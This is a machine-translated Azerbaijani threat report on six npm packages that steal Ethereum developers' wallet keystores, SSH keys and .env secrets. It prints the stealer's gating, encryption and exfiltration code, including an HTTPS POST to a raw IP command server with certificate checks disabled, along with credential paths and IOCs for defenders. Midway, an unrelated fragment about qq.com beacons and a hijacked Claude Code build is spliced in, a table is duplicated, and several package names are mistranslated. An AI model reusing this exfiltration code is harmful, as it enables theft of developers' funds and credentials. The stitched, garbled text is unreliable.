TL; DR
6 may 2026-cı ildə tək bir npm naşiri, namikazesarada010206, Ethereum, Solidity və DeFi geliştirici ekosistemini hədəf alan altı zərərli paketi yayımladı.
Paketlər, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsvə web3-utils-core, məşhur Web3 alətləri üçün köməkçi kitabxanalar kimi görünmək üçün hazırlanmış ağlabatan adlardan istifadə etmişdir.
Altı paketin hamısında eyni şey var idi telemetry.js fayl. Fayl, SHA-256 ilə klasterdə bayt baxımından eyni idi:
Zərərli proqram quraşdırma zamanı işə düşmür. preinstall or postinstall çəngəl. Bunun əvəzinə, paket idxal edildikdə aktivləşir require().
Bu detal vacibdir.
İmplant, geliştiricinin paketi həqiqətən istifadə etməsini gözləyir. Daha sonra iş stansiyasının əsl Ethereum / Solidity inkişaf mühitinə bənzədiyini yoxlayır. Alchemy və ya Infura açarlarını, gizli açarları, mnemonikaları, yerləşdirici açarlarını və ya yerli Foundry qovluğunu axtarır.
Əgər ev sahibi uyğun gələrsə, oğurluq edən şəxs SSH şəxsi açarlarını, Foundry / Geth / Brownie cüzdan açar anbarlarını toplayır, .env* fayllar və həssas mühit dəyişənləri. Paketi sərt kodlu parol ifadəsindən istifadə edərək AES-256-GCM ilə şifrələyir və TLS doğrulaması deaktiv edilərək xam IPv4 C2 son nöqtəsinə süzür.
Xygeni-nin Zərərli Proqram Erkən Xəbərdarlıq (MEW) sistemi altı paketin hamısını zərərli olduğunu təsdiqlədi. npm reyestrinin silinməsi barədə hesabat paketi gözlənilir.
Klaster: Altı Paket, Bir Naşir
Naşir hesabı namikazesarada010206 təsdiqlənməmiş Gmail ünvanı ilə əlaqələndirilib namikazesarada010206@gmail.com.
Kampaniya 6 may 2026-cı ildə bir günlük nəşrin yayımlanması ilə ortaya çıxdı. Altı paketin hamısı aşağıdakı kimi versiyalaşdırıldı 1.0.0, sıfır işləmə müddətindən asılı idi və yalnız üç fayl göndərdi:
package.json index.js telemetry.js Onlar həmçinin eyni mənbə depolarını elan etdilər:
https://github.com/harunosakura030303-maker/evmchain-config İlk üç paket ilk nəşrdə MEW skanerləri tərəfindən aşkarlandı. Qalan üç paket isə naşirin npm profilinin analitik tərəfindən nəzərdən keçirilməsindən sonra məcburi olaraq işarələndi. Bir dəfə eyni bayt eyni idi. telemetry.js klaster üzrə təsdiqlənsə də, ardıcıllıqla zərərli kimi bağlandı.
| Paketi | Versiya | npm Dərc olundu | MEW Bileti | Hökm |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Qərəzli |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Qərəzli |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Qərəzli |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Zərərli, ardıcıllıqla |
| tökmə-utils | 1.0.0 | 2026-05-06 | # 51071 | Zərərli, ardıcıllıqla |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Zərərli, ardıcıllıqla |
Adlandırma strategiyası sadə, lakin təsirli.
Bu paketlər dəqiq yuxarı axın adlarını təqlid etmir. Bunun əvəzinə, onlar kimi inandırıcı "faydalılıq" şəkilçilərindən istifadə edirlər. -core, -utilsvə -utils-coreBu, onları bir geliştiricinin Web3 alətlərinin yaxınlığında görməyi gözləyə biləcəyi müşayiətçi kitabxanalar kimi göstərir.
| Zərərli Paket | Qanuni Hədəf |
|---|---|
| viem-core | məşhur Ethereum TypeScript müştərisi olan viem |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, əsas Solidity inkişaf mühiti |
| evm-utils | Ümumi EVM alətlər məkanı |
| tökmə-utils | tökmə, Solidity alət zənciri |
| web3-utils-core | web3-utils, Web3.js köməkçiləri |
Bu, "əlavə paket" nümunəsidir: "Mən əsl paketəm" yox, "Mən əsl paketin ətrafında ağlabatan bir köməkçi kimi görünürəm".
Sürətlə hərəkət edən DeFi tərtibatçıları üçün bu, risk yaratmaq üçün kifayətdir.
Paket idxal edildikdə nə baş verir
Hücum zənciri kiçik, qəsdən və kriptovalyuta inkişaf mühitlərinə yönəlmişdir.
Quraşdırma qarmağı yoxdur. Bunun əvəzinə, hər paketə daxildir index.js stub funksionallığını ixrac edir və sonra zərərli telemetriya modulunu yükləyir.
require('./telemetry').init(); Bu o deməkdir ki, zərərli proqram ilk idxal zamanı aktivləşir.
Bu, hücumçu üçün əməliyyat baxımından faydalıdır. Bir çox skaner və sandbox quraşdırma vaxtı davranışına diqqət yetirir. Bu paket, geliştirici, qurma skripti, test dəsti və ya icra vaxtı yolu tərəfindən həqiqətən istifadə olunana qədər gözləyir.
Aktivləşdirmə Qapısı: Yalnız Real Web3 Geliştirici İş Stansiyalarında Yandırın
İmplantın ən vacib hissəsi aktivləşdirmə qapısıdır.
Zərərli proqram təminatı Ethereum / Solidity geliştirici maşınlarında tez-tez rast gəlinən mühit dəyişkənlərini yoxlayır:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Həmçinin, Foundry-nin quraşdırılıb-quraşdırılmadığını yoxlayır:
fs.existsSync(path.join(os.homedir(), '.foundry')) Əgər heç bir şərt doğru deyilsə, funksiya geri qayıdır və heç nə etmir.
Bu, paketi ümumi analiz mühitlərində daha səssiz edir. Foundry, Alchemy açarları, Infura açarları, şəxsi açarlar və ya mnemonika olmayan bir sandbox zərərsiz görünüşlü bir idxal görə bilər.
Uyğun bir hostda zərərli proqram toplanmazdan əvvəl 60-90 saniyə gözləyir:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Gecikmə idxal və eksfiltrasiya arasındakı açıq-aşkar korrelyasiyanı azaldır. .unref() call, paket qısa müddətli skriptdə idxal edildiyi təqdirdə host prosesinin normal şəkildə çıxmasına da imkan verir.
Bu, səs-küylü şəkildə "sındırıb-ələ keçirmə" davranışı deyil. Bu, geliştirici mühiti oğurlamağa dəyməzsə, işləməmək üçün hazırlanmış hədəflənmiş bir oğurluqdur.
Oğurluq edənin topladığı şey
Aktivləşdirmə qapısından keçdikdən sonra zərərli proqram Web3 inkişafında ən vacib mənbələrdən toplanır: şəxsi açarlar, cüzdan açar anbarları, yerləşdirmə etimadnamələri, bulud sirləri, npm tokenləri və yerli layihə konfiqurasiyası.
| mənbə | Nə toplanır |
|---|---|
| process.env | /TOKEN|SECRET|AÇAR|PASS|AVTORİZASİYA|ŞƏXSİ|TOXUM|MNEMONİK|AWS|NPM|DEPLOY/i ilə uyğun gələn istənilən dəyişən |
| ~/.ssh/* | Tam fayl məzmunu da daxil olmaqla, PRIVATE KEY və ya BEGIN OPENSSH ehtiva edən fayllar |
| ~/.tökmə/açar dükanları/* | Foundry cüzdan açar anbarı faylları |
| ~/.ethereum/açar mağazası/* | Geth cüzdan açar anbarı faylları |
| ~/.braunie/accounts/* | Brownie cüzdan açar mağazası faylları |
| ${cwd}/.env | Tam fayl məzmunu |
| ${cwd}/.env.local | Tam fayl məzmunu |
| ${cwd}/.env.production | Tam fayl məzmunu |
| ${cwd}/.env.development | Tam fayl məzmunu |
| os.hostname() | Host metadatası |
| kripto.randomUUID() | Qurban/sessiya identifikatoru |
| Tarix.indi() | Kolleksiya vaxt möhürü |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA tokenləri bunlardır:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Telemetriyanın operatorun öz analitikası, yoxsa ayrıca pul qazandıran kanal olub-olmadığını təsdiqləyə bilmədik. Araşdırdığımız hər iki nümunədə ATTA tokenləri eynidir.
B klasteri: heybai
claude.hk OAuth Fişinq + ANTHROPIC_BASE_URL Qaçırma
1 aprel nümunəsi kampaniyanın daha kobud, daha erkən qoludur.
heibai:2.1.88-claude.hk-4 tərəfindən nəşr edilmişdir wuguoqiangvip28, 7 iyun 2025-ci ildə yaradılmış hesab. Paket açıq şəkildə özünü qanuni versiyaya qarşı təqdim etdi. 2.1.88 Antropogen buraxılış.
Bu, CA sertifikatlı MITM ilə bağlı problem yaratmır. Bunun əvəzinə, istifadəçiyə OAuth son nöqtəsi barədə yalan danışır.
Sızdırılmış Claude Code mənbəyinin üstündəki zərərli əlavələrə aşağıdakılar daxildir:
| mənbə | Nə toplanır |
|---|---|
| process.env | /TOKEN|SECRET|AÇAR|PASS|AVTORİZASİYA|ŞƏXSİ|TOXUM|MNEMONİK|AWS|NPM|DEPLOY/i ilə uyğun gələn istənilən dəyişən |
| ~/.ssh/* | Tam fayl məzmunu da daxil olmaqla, PRIVATE KEY və ya BEGIN OPENSSH ehtiva edən fayllar |
| ~/.tökmə/açar dükanları/* | Foundry cüzdan açar anbarı faylları |
| ~/.ethereum/açar mağazası/* | Geth cüzdan açar anbarı faylları |
| ~/.braunie/accounts/* | Brownie cüzdan açar mağazası faylları |
| ${cwd}/.env | Tam fayl məzmunu |
| ${cwd}/.env.local | Tam fayl məzmunu |
| ${cwd}/.env.production | Tam fayl məzmunu |
| ${cwd}/.env.development | Tam fayl məzmunu |
| os.hostname() | Host metadatası |
| kripto.randomUUID() | Qurban/sessiya identifikatoru |
| Tarix.indi() | Kolleksiya vaxt möhürü |
Hədəf siyahısı olduqca spesifikdir. Bu, ümumi brauzer oğurluğu və ya geniş etimadnamənin silinməsi deyil. Bu, Ethereum tətbiqlərini quran, sınaqdan keçirən, yerləşdirən və ya işlədən tərtibatçılar üçün nəzərdə tutulub.
Foundry, Geth və Brownie açar anbarlarının daxil edilməsi xüsusilə vacibdir. Bu fayllar cüzdanlara və ya yerləşdirmə şəxsiyyətlərinə birbaşa girişi təmsil edə bilər. Təcavüzkar onları parol, mnemonika və ya mühit sirləri ilə birləşdirə bilirsə, vəsaitləri hərəkət etdirə, yerləşdiriciləri təqlid edə və ya ağıllı müqavilə əməliyyatlarını poza bilər.
Eksfiltrasiyadan Əvvəl Şifrələmə
Zərərli proqram, toplanan məlumatları göndərməzdən əvvəl şifrələyir.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Sərt kodlu parol ifadəsi belədir:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Son yük JSON olaraq bükülür:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Şifrələmə öz-özlüyündə zərərli proqramı daha inkişaf etmiş etmir. Bununla belə, şəbəkə yoxlamasını çətinləşdirir. Çıxışı izləyən müdafiəçi JSON faydalı yükünü görəcək, lakin oğurlanmış açarları, cüzdan fayllarını və ya .env sərt kodlu parol ifadəsi və şifrəni açma məntiqi olmadan məzmun.
Xam IPv4 C2-yə eksfiltrasiya
Eksfiltrasiya yolu sərt kodlaşdırılıb:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Zərərli proqram məlumatları aşağıdakılara göndərir:
https://76.13.37.80:8443/api/v1/telemetry İki detal diqqəti cəlb edir.
Birincisi, C2 domen deyil, xam IPv4 ünvanıdır. Bu, domen qeydiyyatına ehtiyacı aradan qaldırır və bəzi domen əsaslı aşkarlamaların qarşısını alır.
İkincisi, TLS doğrulaması aşağıdakılarla deaktiv edilir:
rejectUnauthorized: false Bu, zərərli proqram təminatına öz-özünə imzalanmış sertifikatlar da daxil olmaqla istənilən sertifikatı qəbul etməyə imkan verir. Başqa sözlə, təcavüzkar etibarlı ictimai sertifikata ehtiyac olmadan şifrələnmiş ötürmə əldə edir.
Təkrar cəhd məntiqi və ehtiyat host yoxdur. Xətalar səssizcə udulur. Bu, C2 oflayn olduqda və ya əlçatan olmadıqda paketi səssiz saxlayır.
Niyə Bu Kampaniya Əhəmiyyətlidir
Tərtibatçılara yönəlmiş zərərli npm paketlərinin əksəriyyəti geniş etimadnamələri təqib edir: npm tokenləri, AWS açarları, GitHub tokenləri və ya .npmrc files.
Bu kampaniya hədəfi daraldır.
Maşının Ethereum və ya Solidity geliştiricisinə aid olduğuna dair əlamətlər axtarır. Daha sonra həmin mühitdə vacib olan aktivləri dəqiq şəkildə götürür: cüzdan açar anbarları, şəxsi açarlar, mnemonika, yerləşdirici açarları və s. .env fayllar və SSH açarları.
Bu, kampaniyanı Web3 komandaları üçün adi npm oğurluğundan daha təhlükəli edir.
Uğurlu bir infeksiya aşağıdakılara səbəb ola bilər:
- Yerləşdirmə cüzdanları
- Ağıllı müqavilə admin açarları
- RPC provayder açarları
- Bulud yerləşdirmə etimadnaməsi
- npm nəşr tokenləri
- Geliştiriciyə və ya infrastruktur qurmağa SSH girişi
- Layihə sirləri saxlanılır
.envfaylları - Foundry, Geth və ya Brownie üçün cüzdan açar mağazaları
Paket adları da aydın sosial mühəndislik göstərir. Onlar tanış alət adları vasitəsilə Web3 geliştirici ekosistemini hədəf alırlar: viem, hardhat, foundry, evmvə web3.
Aktyorun real layihələrdən güzəştə getməsinə ehtiyac yoxdur. Onlara yalnız münasib bir yoldaş paketi kimi görünən bir şey quraşdırmaq üçün bir geliştirici lazımdır.
Güzəşt və Aşkarlama Göstəriciləri
| Paketlər və Naşir | |
|---|---|
| Sahə | Dəyər |
| npm naşiri | namikazesarada010206 |
| Naşirin e-poçtu | namikazesarada010206@gmail.com |
| E-poçt təsdiqləndi | Yox |
| SCM təsdiqləndi | Yox |
| Reputasiya balı | 1.0 |
| Paketlər | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, tökmə-utils, web3-utils-core |
| Sürümleri | Bütün 1.0.0 |
| Mənbə deposu | https://github.com/harunosakura030303-maker/evmchain-config |
| Zərərli olduğu təsdiqləndi | Altı paketin hamısı |
| şəbəkə | |
|---|---|
| növü | Dəyər |
| C2 son nöqtəsi | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 portu | 8443/tcp |
| TLS davranışı | rədd etUnaranted: yalan |
| Yük sxemi | {"v":2,"iv": "d": "t": } |
| Fayllar və Heşlər | |
|---|---|
| növü | Dəyər |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Paket düzeni | package.json, index.js, telemetry.js |
| Fayl sayı | 3 |
| Təxmini ümumi ölçü | 3.4 KB |
Aktivləşdirmə Siqnalları
Zərərli proqram bu mühit dəyişkənlərini yoxlayır:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Həmçinin aşağıdakıları yoxlayır:
~/.foundry/ Hədəf Host Yolları
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kolleksiya Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Aşkarlama Qeydləri
Bir neçə qayda bu kampaniyanı tam davranış təhlilinə ehtiyac olmadan tutur.
Əvvəlcə, altı zərərli paket adı üçün kilid fayllarını skan edin:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core İstənilən uyğunluq package-lock.json, yarn.lock, pnpm-lock.yamlvə ya node_modules tarix ciddi bir hadisə kimi qəbul edilməlidir.
İkincisi, Node.js proseslərinin cüzdan açar anbarı yollarını oxuması üçün monitorinq aparın:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Bu, köməkçi asılılıq kimi idxal edilən paket üçün nadir hallarda qanuni davranışdır. Xüsusilə də xaricdəki şəbəkə fəaliyyəti izlənildikdə şübhəli olur.
Üçüncüsü, HTTPS əlaqələrini bloklayın və ya xəbərdarlıq edin:
76.13.37.80:8443 Xüsusilə sorğu yolu olduqda:
/api/v1/telemetry Dördüncüsü, bu xüsusiyyətləri özündə birləşdirən npm paketləri axtarın:
- Təzə və ya aşağı nüfuzlu naşir
- Təsdiqlənməmiş Gmail hesabı
- Web3 bitişik paket adı
- Mənalı depo tarixçəsi yoxdur
- Kiçik paket düzeni
index.jstelemetriya və ya köməkçi faylı yükləyir- İşləmə vaxtından asılılıq yoxdur
- Həssas mühit dəyişənləri kolleksiyası
- Cüzdan açar mağazasına giriş
Bu model tək bir IOC-dan daha faydalıdır, çünki növbəti paket IP ünvanını dəyişə bilər, lakin eyni hədəfləmə məntiqini saxlaya bilər.
Kompromis Cavab Yoxlama Siyahısı
Əgər bir geliştirici altı paketdən birini istifadə edirsə və onun mühiti aktivləşdirmə qapısı ilə uyğun gəlirsə, iş stansiyasını təhlükə altında hesab edin.
Buraya Foundry quraşdırılmış maşınlar, mühitdə Alchemy və ya Infura açarları, şəxsi açarlar, mnemonika və ya yerləşdirmə açarları daxildir.
Tövsiyə olunan cavab:
- Hostu şəbəkədən ayırın.
- Qorun
node_modules, kilid faylları, qabıq tarixçəsi və kriminalistika üçün müvafiq qeydlər. - Hər SSH düymə cütünü aşağıya çevirin
~/.ssh/. - Hər açar anbarı üçün cüzdan açarlarını fırladın
~/.foundry,~/.ethereumvə~/.brownie. - Vəsaitləri yeni cüzdanlara köçürün.
- Saxlanılan hər sirri çevirin
.env*geliştiricinin işlədiyi depolardakı fayllar. - AWS açarları, npm tokenləri, yerləşdirmə tokenləri, API açarları, şəxsi açarlar, toxumlar və mnemonika daxil olmaqla, kolleksiya reqeksinə uyğun mühit sirlərini fırladın.
- Paket ilk dəfə quraşdırıldığından bəri bulud auditi, npm, GitHub, RPC provayderi və blokçeyn fəaliyyəti.
- Təkrar istifadə etməzdən əvvəl iş stansiyasının təsvirini yenidən yazın.
Müdafiəçilər nəyi götürməlidirlər
Bu kampaniya npm tiposquatting-in yüksək dəyərli geliştirici ekosistemləri ətrafında necə inkişaf etdiyini göstərir.
Aktyorun israrlılığa, çaşdırıcılığa, hətta quraşdırma müddətində icraya ehtiyacı yox idi.
Bunun əvəzinə, onlar üç şeyə etibar etdilər:
- Ehtimal olunan Web3 paket adları
- Yalnız real kriptovalyuta inkişaf etdirmə maşınlarında aktivləşdirmə
- Ethereum inkişaf etdiriciləri üçün ən vacib olan faylların və sirlərin birbaşa oğurlanması
Bu, kampaniyanı geniş tarama zamanı asanlıqla qaçırmağa və düzgün mühitə düşdükdə təhlükəli hala gətirir.
Web3 komandaları üçün dərs aydındır: asılılıq adlarına təhdid modelinizin bir hissəsi kimi yanaşın. Zərərsiz köməkçi kimi görünən bir paket yenə də cüzdan güzəştinə aparan ən qısa yol ola bilər.
npm reyestrinə bildirildi. Naşir hesabı və paketlər silindikdə bu paylaşımı yeniləyəcəyik.




